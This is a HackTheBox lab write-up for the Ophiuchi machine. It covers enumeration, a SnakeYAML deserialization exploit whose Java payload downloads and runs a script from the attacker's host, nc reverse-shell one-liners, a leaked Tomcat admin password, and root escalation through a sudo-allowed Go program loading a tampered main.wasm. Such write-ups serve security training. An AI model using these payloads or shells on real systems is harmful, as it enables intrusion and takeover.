Welcome to the Ophiuchi writeup from HTB
I hope you enjoy reading it. Any feedback will be appreciated! @x4v1l0k


Ophiuchi

tags: HTB Medium Linux
Platform: Hackthebox
Difficult: Medium
S.O.: Linux

Enumeration

Nmap

# sudo nmap -sC -sV -p22,8080 -n -T5 10.129.82.147 -oN PortInDepth.txt
Starting Nmap 7.91 ( https://nmap.org ) at 2021-02-13 15:52 EST
Nmap scan report for 10.129.82.147
Host is up (0.035s latency).

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   3072 6d:fc:68:e2:da:5e:80:df:bc:d0:45:f5:29:db:04:ee (RSA)
|   256 7a:c9:83:7e:13:cb:c3:f9:59:1e:53:21:ab:19:76:ab (ECDSA)
|_  256 17:6b:c3:a8:fc:5d:36:08:a1:40:89:d2:f4:0a:c6:46 (ED25519)
8080/tcp open  http    Apache Tomcat 9.0.38
|_http-title: Parse YAML
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

In the port scan we find the SSH service for which we currently do not have credentials and a web service on port 8080.

When we write some text in the YAML parser, we can see that it shows a security message.

Due to security reason this feature has been temporarily on hold. We will soon fix the issue!

Ok, we are going to enumerate the files and folders that the web server has

# gobuster dir -t 40 -u http://10.129.82.147:8080/ -w  /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,html,txt
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url:            http://10.129.82.147:8080/
[+] Threads:        40
[+] Wordlist:       /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Status codes:   200,204,301,302,307,401,403
[+] User Agent:     gobuster/3.0.1
[+] Extensions:     php,html,txt
[+] Timeout:        10s
===============================================================
2021/02/13 15:54:35 Starting gobuster
===============================================================
/test (Status: 302)
/manager (Status: 302)
/yaml (Status: 302)
===============================================================
2021/02/13 16:08:15 Finished
===============================================================

In the directory enumeration we can see that the yaml directory exists, so we are going to look for a known vulnerabilities and/or exploits.

Post found

Exploitation

In the previous post, we can find this link to an exploit that should be functional. We're going to try it!

# cat x4v1l0k.sh
#!/bin/bash
touch /tmp/f; rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc 10.10.14.127 8787 > /tmp/f
# cat src/artsploit/AwesomeScriptEngineFactory.java
package artsploit;

import javax.script.ScriptEngine;
import javax.script.ScriptEngineFactory;
import java.io.IOException;
import java.util.List;

public class AwesomeScriptEngineFactory implements ScriptEngineFactory {

    public AwesomeScriptEngineFactory() {
        try {
            Runtime.getRuntime().exec("wget 10.10.14.127:1234/x4v1l0k.sh -O /tmp/x4v1l0k.sh");
            Runtime.getRuntime().exec("bash /tmp/x4v1l0k.sh");
        } catch (IOException e) {
            e.printStackTrace();
        }
    }
.........................................................
.........................................................

Now, having a terminal listening on the port that we have configured in the reverse shell of the payload, we send the following request with BURP

POST /Servlet HTTP/1.1
Host: 10.129.82.180:8080
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://10.129.82.180:8080/
Content-Type: application/x-www-form-urlencoded
Content-Length: 148
Connection: close
Cookie: JSESSIONID=8CD3F12B3403420EB0D4FFDAA1A14372
Upgrade-Insecure-Requests: 1

data=!!javax.script.ScriptEngineManager [
  !!java.net.URLClassLoader [[
    !!java.net.URL ["http://10.10.14.127:1234/"]
  ]]
]

And the result is, a shell with the user tomcat!

# nc -lnvp 8787
listening on [any] 8787 ...
tomcat@ophiuchi:/$ id
uid=1001(tomcat) gid=1001(tomcat) groups=1001(tomcat)
tomcat@ophiuchi:/$

Post exploitation

Privilege escalation 1

Enumeration

In the directory /opt/tomcat/conf/tomcat-users.xml we can find the /manager website credentials.

tomcat@ophiuchi:~/conf$ cat /opt/tomcat/conf/tomcat-users.xml
[...]
<user username="admin" password="whythereisalimit" roles="manager-gui,admin-gui"/>
[...]

Exploitation

Let's test if we can authenticate as user admin with them.

tomcat@ophiuchi:~/conf$ su admin
Password:
admin@ophiuchi:/opt/tomcat/conf$ cd
admin@ophiuchi:~$ ls
user.txt
admin@ophiuchi:~$ cat user.txt
CENSORED_FLAG
admin@ophiuchi:~$ id
uid=1000(admin) gid=1000(admin) groups=1000(admin)

Perfect! we are already admin.

Privilege escalation 2

Enumeration

By listing the user's sudo privileges, we see that you can run the index.go as root without needing a password.

admin@ophiuchi:~$ sudo -l
Matching Defaults entries for admin on ophiuchi:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User admin may run the following commands on ophiuchi:
    (ALL) NOPASSWD: /usr/bin/go run /opt/wasm-functions/index.go
admin@ophiuchi:~$

Let's see the content of the script.

admin@ophiuchi:~$ cat /opt/wasm-functions/index.go
package main

import (
        "fmt"
        wasm "github.com/wasmerio/wasmer-go/wasmer"
        "os/exec"
        "log"
)

func main() {
        bytes, _ := wasm.ReadBytes("main.wasm")

        instance, _ := wasm.NewInstance(bytes)
        defer instance.Close()
        init := instance.Exports["info"]
        result,_ := init()
        f := result.String()
        if (f != "1") {
                fmt.Println("Not ready to deploy")
        } else {
                fmt.Println("Ready to deploy")
                out, err := exec.Command("/bin/sh", "deploy.sh").Output()
                if err != nil {
                        log.Fatal(err)
                }
                fmt.Println(string(out))
        }
}

Well, as we can see, it is loading the functions from the main.wasm and launch the deploy.sh script file if the f variable is 1.
As we can see, both files are searched in the current directory since there is no absolute path specified, so we can create our own files wherever we want and use them.
Looking a bit on internet, we can find a tool with which we can decompile, edit and recompile the file with the wasm extension.

Exploitation

We begin by decompiling the file to see how it works.

# ./wasm2wat ../../main.wasm -o ../../main.wat

# cat main.wat
(module
  (type (;0;) (func (result i32)))
  (func $info (type 0) (result i32)
    i32.const 0)
  (table (;0;) 1 1 funcref)
  (memory (;0;) 16)
  (global (;0;) (mut i32) (i32.const 1048576))
  (global (;1;) i32 (i32.const 1048576))
  (global (;2;) i32 (i32.const 1048576))
  (export "memory" (memory 0))
  (export "info" (func $info))
  (export "__data_end" (global 1))
  (export "__heap_base" (global 2)))

If we look at the code in the index.go file we can see that it checks the value of f gets its value from the info variable which is assigned with the main.wasm file.
We should be able to modify the decompiled file to make info get the value 1 needed to pass the script condition and recompile the wat file to wasm

Therefore, we modify the following line from:

(func $info (type 0) (result i32)
    i32.const 0)

To:

(func $info (type 0) (result i32)
    i32.const 1)

and we recompile the file.

# ./wat2wasm ../../main.wat -o ../../main.wasm

Well, now we upload the modified file to the /tmp directory of the machine with SCP.

# scp ../../main.wasm admin@10.129.82.180:/tmp/main.wasm
admin@10.129.82.180's password:
main.wasm

Now, we copy the index file to the same directory /tmp

# cp /opt/wasm-functions/index /tmp/index

and we create a file called deploy.sh with a reverse shell inside.

# echo "touch /tmp/f; rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc 10.10.14.127 8787 > /tmp/f" > deploy.sh

# chmod +x deploy.sh

finally, we just have to execute the script with sudo in the /tmp directory while we have a terminal listening.

admin@ophiuchi:/tmp/test$ sudo /usr/bin/go run /opt/wasm-functions/index.go
Ready to deploy
# nc -lnvp 8787
listening on [any] 8787 ...
connect to [10.10.14.127] from (UNKNOWN) [10.129.82.180] 55374
# id
uid=0(root) gid=0(root) groups=0(root)
# cd /root
# ls
go
root.txt
snap
# cat root.txt
CENSORED_FLAG